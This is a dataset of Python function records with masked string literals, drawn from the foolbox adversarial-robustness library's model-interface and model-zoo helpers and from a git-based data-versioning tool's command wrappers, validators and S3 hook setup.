{"signature": "def batch_predictions(<EOL>self, images, greedy=False, strict=True, return_details=False):", "body": "if strict:<EOL><INDENT>in_bounds = self.in_bounds(images)<EOL>assert in_bounds<EOL><DEDENT>self._total_prediction_calls += len(images)<EOL>predictions = self.__model.batch_predictions(images)<EOL>assert predictions.ndim == <NUM_LIT:2><EOL>assert predictions.shape[<NUM_LIT:0>] == images.shape[<NUM_LIT:0>]<EOL>if return_details:<EOL><INDENT>assert greedy<EOL><DEDENT>adversarials = []<EOL>for i in range(len(predictions)):<EOL><INDENT>if strict:<EOL><INDENT>in_bounds_i = True<EOL><DEDENT>else:<EOL><INDENT>in_bounds_i = self.in_bounds(images[i])<EOL><DEDENT>is_adversarial, is_best, distance = self.__is_adversarial(<EOL>images[i], predictions[i], in_bounds_i)<EOL>if is_adversarial and greedy:<EOL><INDENT>if return_details:<EOL><INDENT>return predictions, is_adversarial, i, is_best, distance<EOL><DEDENT>else:<EOL><INDENT>return predictions, is_adversarial, i<EOL><DEDENT><DEDENT>adversarials.append(is_adversarial)<EOL><DEDENT>if greedy:  <EOL><INDENT>if return_details:<EOL><INDENT>return predictions, False, None, False, None<EOL><DEDENT>else:<EOL><INDENT>return predictions, False, None<EOL><DEDENT><DEDENT>is_adversarial = np.array(adversarials)<EOL>assert is_adversarial.ndim == <NUM_LIT:1><EOL>assert is_adversarial.shape[<NUM_LIT:0>] == images.shape[<NUM_LIT:0>]<EOL>return predictions, is_adversarial<EOL>", "docstring": "Interface to model.batch_predictions for attacks.\n\n        Parameters\n        ----------\n        images : `numpy.ndarray`\n            Batch of inputs with shape as expected by the model.\n        greedy : bool\n            Whether the first adversarial should be returned.\n        strict : bool\n            Controls if the bounds for the pixel values should be checked.", "id": "f8111:c1:m24"}
{"signature": "def gradient(self, image=None, label=None, strict=True):", "body": "assert self.has_gradient()<EOL>if image is None:<EOL><INDENT>image = self.__original_image<EOL><DEDENT>if label is None:<EOL><INDENT>label = self.__original_class<EOL><DEDENT>assert not strict or self.in_bounds(image)<EOL>self._total_gradient_calls += <NUM_LIT:1><EOL>gradient = self.__model.gradient(image, label)<EOL>assert gradient.shape == image.shape<EOL>return gradient<EOL>", "docstring": "Interface to model.gradient for attacks.\n\n        Parameters\n        ----------\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n            Defaults to the original image.\n        label : int\n            Label used to calculate the loss that is differentiated.\n            Defaults to the original label.\n        strict : bool\n            Controls if the bounds for the pixel values should be checked.", "id": "f8111:c1:m25"}
{"signature": "def predictions_and_gradient(<EOL>self, image=None, label=None, strict=True, return_details=False):", "body": "assert self.has_gradient()<EOL>if image is None:<EOL><INDENT>image = self.__original_image<EOL><DEDENT>if label is None:<EOL><INDENT>label = self.__original_class<EOL><DEDENT>in_bounds = self.in_bounds(image)<EOL>assert not strict or in_bounds<EOL>self._total_prediction_calls += <NUM_LIT:1><EOL>self._total_gradient_calls += <NUM_LIT:1><EOL>predictions, gradient = self.__model.predictions_and_gradient(image, label)  <EOL>is_adversarial, is_best, distance = self.__is_adversarial(<EOL>image, predictions, in_bounds)<EOL>assert predictions.ndim == <NUM_LIT:1><EOL>assert gradient.shape == image.shape<EOL>if return_details:<EOL><INDENT>return predictions, gradient, is_adversarial, is_best, distance<EOL><DEDENT>else:<EOL><INDENT>return predictions, gradient, is_adversarial<EOL><DEDENT>", "docstring": "Interface to model.predictions_and_gradient for attacks.\n\n        Parameters\n        ----------\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n            Defaults to the original image.\n        label : int\n            Label used to calculate the loss that is differentiated.\n            Defaults to the original label.\n        strict : bool\n            Controls if the bounds for the pixel values should be checked.", "id": "f8111:c1:m26"}
{"signature": "def backward(self, gradient, image=None, strict=True):", "body": "assert self.has_gradient()<EOL>assert gradient.ndim == <NUM_LIT:1><EOL>if image is None:<EOL><INDENT>image = self.__original_image<EOL><DEDENT>assert not strict or self.in_bounds(image)<EOL>self._total_gradient_calls += <NUM_LIT:1><EOL>gradient = self.__model.backward(gradient, image)<EOL>assert gradient.shape == image.shape<EOL>return gradient<EOL>", "docstring": "Interface to model.backward for attacks.\n\n        Parameters\n        ----------\n        gradient : `numpy.ndarray`\n            Gradient of some loss w.r.t. the logits.\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n\n        Returns\n        -------\n        gradient : `numpy.ndarray`\n            The gradient w.r.t the image.\n\n        See Also\n        --------\n        :meth:`gradient`", "id": "f8111:c1:m27"}
{"signature": "def fetch_weights(weights_uri, unzip=False):", "body": "if weights_uri is None:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>hash_digest = sha256_hash(weights_uri)<EOL>local_path = home_directory_path(FOLDER, hash_digest)<EOL>exists_locally = path_exists(local_path)<EOL>filename = _filename_from_uri(weights_uri)<EOL>file_path = os.path.join(local_path, filename)<EOL>if exists_locally:<EOL><INDENT>logging.info(\"<STR_LIT>\")  <EOL><DEDENT>else:<EOL><INDENT>_download(file_path, weights_uri, local_path)<EOL><DEDENT>if unzip:<EOL><INDENT>file_path = _extract(local_path, filename)<EOL><DEDENT>return file_path<EOL>", "docstring": "Provides utilities to download and extract packages\ncontaining model weights when creating foolbox-zoo compatible\nrepositories, if the weights are not part of the repository itself.\n\nExamples\n--------\n\nDownload and unzip weights:\n\n>>> from foolbox import zoo\n>>> url = 'https://github.com/MadryLab/mnist_challenge_models/raw/master/secret.zip'  # noqa F501\n>>> weights_path = zoo.fetch_weights(url, unzip=True)\n\n:param weights_uri: the URI to fetch the weights from\n:param unzip: should be `True` if the file to be downloaded is\n       a zipped package\n:return: local path where the weights have been downloaded\n         and potentially unzipped to", "id": "f8112:m0"}
{"signature": "def clone(git_uri):", "body": "hash_digest = sha256_hash(git_uri)<EOL>local_path = home_directory_path(FOLDER, hash_digest)<EOL>exists_locally = path_exists(local_path)<EOL>if not exists_locally:<EOL><INDENT>_clone_repo(git_uri, local_path)<EOL><DEDENT>else:<EOL><INDENT>logging.info(  <EOL>\"<STR_LIT>\")  <EOL><DEDENT>return local_path<EOL>", "docstring": "Clone a remote git repository to a local path.\n\n:param git_uri: the URI to the git repository to be cloned\n:return: the generated local path where the repository has been cloned to", "id": "f8113:m0"}
{"signature": "def get_model(url, module_name='<STR_LIT>', **kwargs):", "body": "repo_path = clone(url)<EOL>loader = ModelLoader.get()<EOL>model = loader.load(repo_path, module_name=module_name, **kwargs)<EOL>return model<EOL>", "docstring": "Provides utilities to download foolbox-compatible robust models\nto easily test attacks against them by simply providing a git-URL.\n\nExamples\n--------\n\nInstantiate a model:\n\n>>> from foolbox import zoo\n>>> url = \"https://github.com/bveliqi/foolbox-zoo-dummy.git\"\n>>> model = zoo.get_model(url)  # doctest: +SKIP\n\nOnly works with a foolbox-zoo compatible repository.\nI.e. models need to have a `foolbox_model.py` file\nwith a `create()`-function, which returns a foolbox-wrapped model.\n\nUsing the kwargs parameter it is possible to input an arbitrary number\nof parameters to this methods call. These parameters are forwarded to\nthe instantiated model.\n\nExample repositories:\n\n    - https://github.com/bethgelab/AnalysisBySynthesis\n    - https://github.com/bethgelab/mnist_challenge\n    - https://github.com/bethgelab/cifar10_challenge\n    - https://github.com/bethgelab/convex_adversarial\n    - https://github.com/wielandbrendel/logit-pairing-foolbox.git\n    - https://github.com/bethgelab/defensive-distillation.git\n\n:param url: URL to the git repository\n:param module_name: the name of the module to import\n:param kwargs: Optional set of parameters that will be used by the\n    to be instantiated model.\n:return: a foolbox-wrapped model instance", "id": "f8114:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def load(self, path, module_name='<STR_LIT>', **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Load a model from a local path, to which a git repository\nhas been previously cloned to.\n\n:param path: the path to the local repository containing the code\n:param module_name: the name of the module to import\n:param kwargs: parameters for the to be loaded model\n:return: a foolbox-wrapped model", "id": "f8117:c0:m0"}
{"signature": "def clean_workspace():", "body": "config = api.get_config()<EOL>workspace = config['<STR_LIT>']['<STR_LIT>']<EOL>default_workspace = os.path.expanduser(\"<STR_LIT>\")<EOL>if workspace != default_workspace and os.path.exists(workspace):<EOL><INDENT>print(\"<STR_LIT>\", workspace)<EOL>shutil.rmtree(workspace)<EOL><DEDENT>", "docstring": "Clean the working space", "id": "f8119:m0"}
{"signature": "def clean_workspace():", "body": "<EOL>result = runner.invoke(dgitmod.profile, ['<STR_LIT>'])<EOL>output = result.output<EOL>output = output.split(\"<STR_LIT:\\n>\")<EOL>workspaces = [o.strip() for o in output if \"<STR_LIT>\" in o]<EOL>if len(workspaces) > <NUM_LIT:0>:<EOL><INDENT>workspace = workspaces[<NUM_LIT:0>]<EOL>workspace = workspace.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>workspace = os.path.join(os.getcwd(), '<STR_LIT>')<EOL><DEDENT>default_workspace = os.path.expanduser(\"<STR_LIT>\")<EOL>if ((workspace != default_workspace) and<EOL>os.path.exists(workspace)):<EOL><INDENT>print(\"<STR_LIT>\", workspace)<EOL>shutil.rmtree(workspace)<EOL><DEDENT>", "docstring": "Clean the working space", "id": "f8120:m0"}
{"signature": "def post(self, repo):", "body": "datapackage = repo.package<EOL>url = self.url<EOL>token = self.token<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>'.format(token),<EOL>'<STR_LIT:Content-Type>': '<STR_LIT:application/json>'<EOL>}<EOL>try:<EOL><INDENT>r = requests.post(url,<EOL>data = json.dumps(datapackage),<EOL>headers=headers)<EOL>return r<EOL><DEDENT>except Exception as e: <EOL><INDENT>raise NetworkError()<EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Post to the metadata server\n\nParameters\n----------\n\nrepo", "id": "f8121:c0:m2"}
{"signature": "def read_file(self, filename):", "body": "<EOL>try:<EOL><INDENT>fh = open(filename, '<STR_LIT:rb>')<EOL>table_set = any_tableset(fh) <EOL><DEDENT>except:<EOL><INDENT>table_set = None<EOL><DEDENT>return table_set<EOL>", "docstring": "Guess the filetype and read the file into row sets", "id": "f8122:c0:m3"}
{"signature": "def get_schema(self, filename):", "body": "table_set = self.read_file(filename)<EOL>if table_set is None: <EOL><INDENT>return [] <EOL><DEDENT>row_set = table_set.tables[<NUM_LIT:0>]<EOL>offset, headers = headers_guess(row_set.sample)<EOL>row_set.register_processor(headers_processor(headers))<EOL>row_set.register_processor(offset_processor(offset + <NUM_LIT:1>))<EOL>types = type_guess(row_set.sample, strict=True)<EOL>sample = next(row_set.sample)<EOL>clean = lambda v: str(v) if not isinstance(v, str) else v <EOL>schema = []<EOL>for i, h in enumerate(headers):<EOL><INDENT>schema.append([h,<EOL>str(types[i]),<EOL>clean(sample[i].value)])<EOL><DEDENT>return schema<EOL>", "docstring": "Guess schema using messytables", "id": "f8122:c0:m4"}
{"signature": "def evaluate(self, repo, spec, args):", "body": "status = []<EOL>with cd(repo.rootdir):<EOL><INDENT>files = spec.get('<STR_LIT>', ['<STR_LIT:*>'])<EOL>resource_files = repo.find_matching_files(files)<EOL>files = glob2.glob(\"<STR_LIT>\")<EOL>disk_files = [f for f in files if os.path.isfile(f) and f != \"<STR_LIT>\"]<EOL>allfiles = list(set(resource_files + disk_files))<EOL>allfiles.sort()<EOL>for f in allfiles:<EOL><INDENT>if f in resource_files and f in disk_files:<EOL><INDENT>r = repo.get_resource(f)<EOL>coded_sha256 = r['<STR_LIT>']<EOL>computed_sha256 = compute_sha256(f)<EOL>if computed_sha256 != coded_sha256:<EOL><INDENT>status.append({<EOL>'<STR_LIT:target>': f,<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT>else:<EOL><INDENT>status.append({<EOL>'<STR_LIT:target>': f,<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT:status>': '<STR_LIT:OK>',<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT><DEDENT>elif f in resource_files:<EOL><INDENT>status.append({<EOL>'<STR_LIT:target>': f,<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT>else:<EOL><INDENT>status.append({<EOL>'<STR_LIT:target>': f,<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT><DEDENT><DEDENT>return status<EOL>", "docstring": "Check the integrity of the datapackage.json", "id": "f8123:c0:m3"}
{"signature": "def evaluate(self, repo, spec, args):", "body": "status = []<EOL>if len(spec['<STR_LIT>']) == <NUM_LIT:0>: <EOL><INDENT>return status <EOL><DEDENT>with cd(repo.rootdir):<EOL><INDENT>rules = None <EOL>if '<STR_LIT>' in spec and len(spec['<STR_LIT>']) > <NUM_LIT:0>: <EOL><INDENT>rulesfiles = spec['<STR_LIT>']<EOL>rules = {} <EOL>for f in rulesfiles: <EOL><INDENT>d = json.loads(open(f).read())<EOL>rules.update(d)<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in spec: <EOL><INDENT>rules = {<EOL>'<STR_LIT>': spec['<STR_LIT>'] <EOL>}<EOL><DEDENT>if rules is None or len(rules) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>raise InvalidParameters(\"<STR_LIT>\")<EOL><DEDENT>files = dict([(f, open(f).read()) for f in spec['<STR_LIT>']])<EOL>for r in rules:<EOL><INDENT>if '<STR_LIT>' not in rules[r]:<EOL><INDENT>continue<EOL><DEDENT>minr2 = float(rules[r]['<STR_LIT>'])<EOL>for f in files:<EOL><INDENT>match = re.search(r\"<STR_LIT>\", files[f])<EOL>if match is None:<EOL><INDENT>status.append({<EOL>'<STR_LIT:target>': f,<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT>': r,<EOL>'<STR_LIT:status>': \"<STR_LIT>\",<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT>else:<EOL><INDENT>r2 = match.group(<NUM_LIT:1>)<EOL>r2 = float(r2)<EOL>if r2 > minr2:<EOL><INDENT>status.append({<EOL>'<STR_LIT:target>': f,<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT>': r,<EOL>'<STR_LIT:status>': \"<STR_LIT:OK>\",<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT>else:<EOL><INDENT>status.append({<EOL>'<STR_LIT:target>': f,<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT>': r,<EOL>'<STR_LIT:status>': \"<STR_LIT>\",<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return status<EOL>", "docstring": "Evaluate the files identified for checksum.", "id": "f8124:c0:m3"}
{"signature": "def _run(self, cmd):", "body": "<EOL>environ = os.environ.copy() <EOL>environ['<STR_LIT>'] = self.fullname<EOL>environ['<STR_LIT>'] = self.email <EOL>environ['<STR_LIT>'] = self.fullname<EOL>environ['<STR_LIT>'] = self.email <EOL>cmd = [pipes.quote(c) for c in cmd]<EOL>cmd = \"<STR_LIT:U+0020>\".join(['<STR_LIT>'] + cmd)<EOL>cmd += \"<STR_LIT>\"<EOL>try:<EOL><INDENT>output = subprocess.check_output(cmd,<EOL>stderr=subprocess.STDOUT,<EOL>shell=True,<EOL>env=environ)<EOL><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>output = e.output<EOL><DEDENT>output = output.decode('<STR_LIT:utf-8>')<EOL>output = output.strip()<EOL>return output<EOL>", "docstring": "Helper function to run commands\n\nParameters\n----------\ncmd : list\n      Arguments to git command", "id": "f8125:c0:m1"}
{"signature": "def _run_generic_command(self, repo, cmd):", "body": "result = None<EOL>with cd(repo.rootdir):<EOL><INDENT>output = self._run(cmd)<EOL>try:<EOL><INDENT>result = {<EOL>'<STR_LIT>': cmd,<EOL>'<STR_LIT:status>': '<STR_LIT:success>',<EOL>'<STR_LIT:message>': output,<EOL>}<EOL><DEDENT>except Exception as e:<EOL><INDENT>result = {<EOL>'<STR_LIT>': cmd,<EOL>'<STR_LIT:status>': '<STR_LIT:error>',<EOL>'<STR_LIT:message>': str(e)<EOL>}<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Run a generic command within the repo. Assumes that you are\nin the repo's root directory", "id": "f8125:c0:m2"}
{"signature": "def notes(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Add notes to the commit\n\nParameters\n----------\n\nrepo: Repository object\nargs: notes-specific args", "id": "f8125:c0:m3"}
{"signature": "def push(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Push to origin master\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m4"}
{"signature": "def remote(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Check remote URL\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m5"}
{"signature": "def pull(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Pull from origin/filesystem based master\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m6"}
{"signature": "def status(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT:status>\"] + args)<EOL>", "docstring": "Show status of the repo (pass thru git command)\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m7"}
{"signature": "def stash(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Stash all the changes (pass thru git command)\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m8"}
{"signature": "def diff(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "diff two repo versions  (pass thru git command)\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m9"}
{"signature": "def log(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Show the log  (pass thru git command)\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m10"}
{"signature": "def commit(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Commit the changes to the repo (pass thru git command)\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m11"}
{"signature": "def show(self, repo, args=[]):", "body": "return self._run_generic_command(repo, [\"<STR_LIT>\"] + args)<EOL>", "docstring": "Show the content of the repo (pass thru git command)\n\nParameters\n----------\n\nrepo: Repository object\nargs: git-specific args", "id": "f8125:c0:m12"}
{"signature": "def init(self, username, reponame, force, backend=None):", "body": "key = self.key(username, reponame)<EOL>server_repodir = self.server_rootdir(username,<EOL>reponame,<EOL>create=False)<EOL>if os.path.exists(server_repodir) and not force:<EOL><INDENT>raise RepositoryExists()<EOL><DEDENT>if os.path.exists(server_repodir):<EOL><INDENT>shutil.rmtree(server_repodir)<EOL><DEDENT>os.makedirs(server_repodir)<EOL>with cd(server_repodir):<EOL><INDENT>git.init(\"<STR_LIT:.>\", \"<STR_LIT>\")<EOL><DEDENT>if backend is not None:<EOL><INDENT>backend.init_repo(server_repodir)<EOL><DEDENT>repodir = self.rootdir(username, reponame, create=False)<EOL>if os.path.exists(repodir) and not force:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if os.path.exists(repodir):<EOL><INDENT>shutil.rmtree(repodir)<EOL><DEDENT>os.makedirs(repodir)<EOL>with cd(os.path.dirname(repodir)):<EOL><INDENT>git.clone(server_repodir, '<STR_LIT>')<EOL><DEDENT>url = server_repodir<EOL>if backend is not None:<EOL><INDENT>url = backend.url(username, reponame)<EOL><DEDENT>repo = Repo(username, reponame)<EOL>repo.manager = self<EOL>repo.remoteurl = url<EOL>repo.rootdir = self.rootdir(username, reponame)<EOL>self.add(repo)<EOL>return repo<EOL>", "docstring": "Initialize a Git repo\n\nParameters\n----------\n\nusername, reponame : Repo name is tuple (name, reponame)\nforce: force initialization of the repo even if exists\nbackend: backend that must be used for this (e.g. s3)", "id": "f8125:c0:m13"}
{"signature": "def clone(self, url, backend=None):", "body": "<EOL>username = self.username<EOL>reponame = url.split(\"<STR_LIT:/>\")[-<NUM_LIT:1>] <EOL>reponame = reponame.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>key = (username, reponame)<EOL>server_repodir = self.server_rootdir(username,<EOL>reponame,<EOL>create=False)<EOL>rootdir = self.rootdir(username,  reponame, create=False)<EOL>if backend is None:<EOL><INDENT>with cd(os.path.dirname(rootdir)):<EOL><INDENT>self._run(['<STR_LIT>', '<STR_LIT>', url])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not os.path.exists(server_repodir):<EOL><INDENT>backend.clone_repo(url, server_repodir)<EOL><DEDENT>with cd(os.path.dirname(rootdir)):<EOL><INDENT>self._run(['<STR_LIT>', '<STR_LIT>', server_repodir])<EOL><DEDENT><DEDENT>if True:<EOL><INDENT>configfile = os.path.join(rootdir, '<STR_LIT>', '<STR_LIT>')<EOL>content = open(configfile).read()<EOL>original = \"<STR_LIT>\"<EOL>replacement =\"\"\"<STR_LIT>\"\"\"<EOL>if \"<STR_LIT>\" not in content:<EOL><INDENT>content = content.replace(original, replacement)<EOL>with open(configfile, '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(content)<EOL><DEDENT><DEDENT>with cd(rootdir):<EOL><INDENT>self._run(['<STR_LIT>','<STR_LIT>'])<EOL><DEDENT><DEDENT>r = Repo(username, reponame)<EOL>r.rootdir = rootdir<EOL>r.remoteurl = url<EOL>r.manager = self<EOL>package = os.path.join(r.rootdir, '<STR_LIT>')<EOL>packagedata = open(package).read()<EOL>r.package = json.JSONDecoder(object_pairs_hook=collections.OrderedDict).decode(packagedata)<EOL>return self.add(r)<EOL>", "docstring": "Clone a URL\n\nParameters\n----------\n\nurl : URL of the repo. Supports s3://, git@, http://", "id": "f8125:c0:m14"}
{"signature": "def delete(self, repo, args=[]):", "body": "result = None<EOL>with cd(repo.rootdir):<EOL><INDENT>try:<EOL><INDENT>cmd = ['<STR_LIT>'] + list(args)<EOL>result = {<EOL>'<STR_LIT:status>': '<STR_LIT:success>',<EOL>'<STR_LIT:message>': self._run(cmd)<EOL>}<EOL><DEDENT>except Exception as e:<EOL><INDENT>result = {<EOL>'<STR_LIT:status>': '<STR_LIT:error>',<EOL>'<STR_LIT:message>': str(e)<EOL>}<EOL><DEDENT>return result<EOL><DEDENT>", "docstring": "Delete files from the repo", "id": "f8125:c0:m15"}
{"signature": "def drop(self, repo, args=[]):", "body": "<EOL>rootdir = repo.rootdir<EOL>if os.path.exists(rootdir):<EOL><INDENT>print(\"<STR_LIT>\".format(rootdir))<EOL>shutil.rmtree(rootdir)<EOL><DEDENT>server_repodir = self.server_rootdir_from_repo(repo,<EOL>create=False)<EOL>if os.path.exists(server_repodir):<EOL><INDENT>print(\"<STR_LIT>\".format(server_repodir))<EOL>shutil.rmtree(server_repodir)<EOL><DEDENT>super(GitRepoManager, self).drop(repo)<EOL>return {<EOL>'<STR_LIT:status>': '<STR_LIT:success>',<EOL>'<STR_LIT:message>': \"<STR_LIT>\"<EOL>}<EOL>", "docstring": "Cleanup the repo", "id": "f8125:c0:m16"}
{"signature": "def permalink(self, repo, path):", "body": "if not os.path.exists(path): <EOL><INDENT>return (None, None) <EOL><DEDENT>cwd = os.getcwd()<EOL>if os.path.isfile(path):<EOL><INDENT>os.chdir(os.path.dirname(path))<EOL><DEDENT>rootdir = self._run([\"<STR_LIT>\", \"<STR_LIT>\"])<EOL>if \"<STR_LIT>\" in rootdir:<EOL><INDENT>return (None, None) <EOL><DEDENT>os.chdir(rootdir)<EOL>relpath = os.path.relpath(path, rootdir)<EOL>sha1 = self._run([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:1>\", \"<STR_LIT>\", relpath])<EOL>remoteurl = self._run([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL>os.chdir(cwd)<EOL>m = re.search('<STR_LIT>', remoteurl)<EOL>if m is None:<EOL><INDENT>m = re.search('<STR_LIT>', remoteurl)<EOL><DEDENT>if m is not None:<EOL><INDENT>domain = m.group(<NUM_LIT:1>)<EOL>username = m.group(<NUM_LIT:2>)<EOL>project = m.group(<NUM_LIT:3>)<EOL>if project.endswith(\"<STR_LIT>\"):<EOL><INDENT>project = project[:-<NUM_LIT:4>]<EOL><DEDENT>permalink = \"<STR_LIT>\".format(domain, username, project,<EOL>sha1, relpath)<EOL>return (relpath, permalink)<EOL><DEDENT>else:<EOL><INDENT>return (None, None)<EOL><DEDENT>", "docstring": "Get the permalink to command that generated the dataset", "id": "f8125:c0:m17"}
{"signature": "def add_files(self, repo, files):", "body": "rootdir = repo.rootdir<EOL>for f in files:<EOL><INDENT>relativepath = f['<STR_LIT>']<EOL>sourcepath = f['<STR_LIT>']<EOL>if sourcepath is None:<EOL><INDENT>continue <EOL><DEDENT>targetpath = os.path.join(rootdir, relativepath)<EOL>try:<EOL><INDENT>os.makedirs(os.path.dirname(targetpath))<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>print(\"<STR_LIT>\".format(relativepath))<EOL>shutil.copyfile(sourcepath, targetpath)<EOL>with cd(repo.rootdir):<EOL><INDENT>self._run(['<STR_LIT>', relativepath])<EOL><DEDENT><DEDENT>", "docstring": "Add files to the repo", "id": "f8125:c0:m19"}
{"signature": "def config(self, what='<STR_LIT>', params=None):", "body": "if what == '<STR_LIT>':<EOL><INDENT>return {<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': [],<EOL>}<EOL><DEDENT>elif what == '<STR_LIT>':<EOL><INDENT>self.workspace = params['<STR_LIT>']['<STR_LIT>']<EOL>self.workspace = os.path.abspath(self.workspace)<EOL>self.username = params['<STR_LIT>']['<STR_LIT>']<EOL>self.fullname = params['<STR_LIT>']['<STR_LIT>']<EOL>self.email = params['<STR_LIT>']['<STR_LIT>']<EOL>repodir = os.path.join(self.workspace, '<STR_LIT>')<EOL>if not os.path.exists(repodir):<EOL><INDENT>return<EOL><DEDENT>for username in os.listdir(repodir):<EOL><INDENT>for reponame in os.listdir(os.path.join(repodir, username)):<EOL><INDENT>if self.is_my_repo(username, reponame):<EOL><INDENT>r = Repo(username, reponame)<EOL>r.rootdir = os.path.join(repodir, username, reponame)<EOL>package = os.path.join(r.rootdir, '<STR_LIT>')<EOL>if not os.path.exists(package):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\".format(username, reponame))<EOL>continue<EOL><DEDENT>packagedata = open(package).read()<EOL>r.package = json.JSONDecoder(object_pairs_hook=collections.OrderedDict).decode(packagedata)<EOL>r.manager = self<EOL>self.add(r)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Paramers:\n---------\n\nworkspace: Directory to store the dataset repositories\nemail:", "id": "f8125:c0:m20"}
{"signature": "def init_repo(self, gitdir):", "body": "hooksdir = os.path.join(gitdir, '<STR_LIT>')<EOL>content = postreceive_template % {<EOL>'<STR_LIT>': self.client,<EOL>'<STR_LIT>': self.bucket,<EOL>'<STR_LIT>': self.s3cfg,<EOL>'<STR_LIT>': self.prefix<EOL>}<EOL>postrecv_filename =os.path.join(hooksdir, '<STR_LIT>')<EOL>with open(postrecv_filename,'<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(content)<EOL><DEDENT>self.make_hook_executable(postrecv_filename)<EOL>print(\"<STR_LIT>\", postrecv_filename)<EOL>", "docstring": "Insert hook into the repo", "id": "f8126:c0:m5"}
{"signature": "def url_is_valid(self, url):", "body": "<EOL>if url.startswith(\"<STR_LIT>\"):<EOL><INDENT>url = url.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL><DEDENT>return os.path.exists(url)<EOL>", "docstring": "Check if a URL exists", "id": "f8127:c0:m1"}
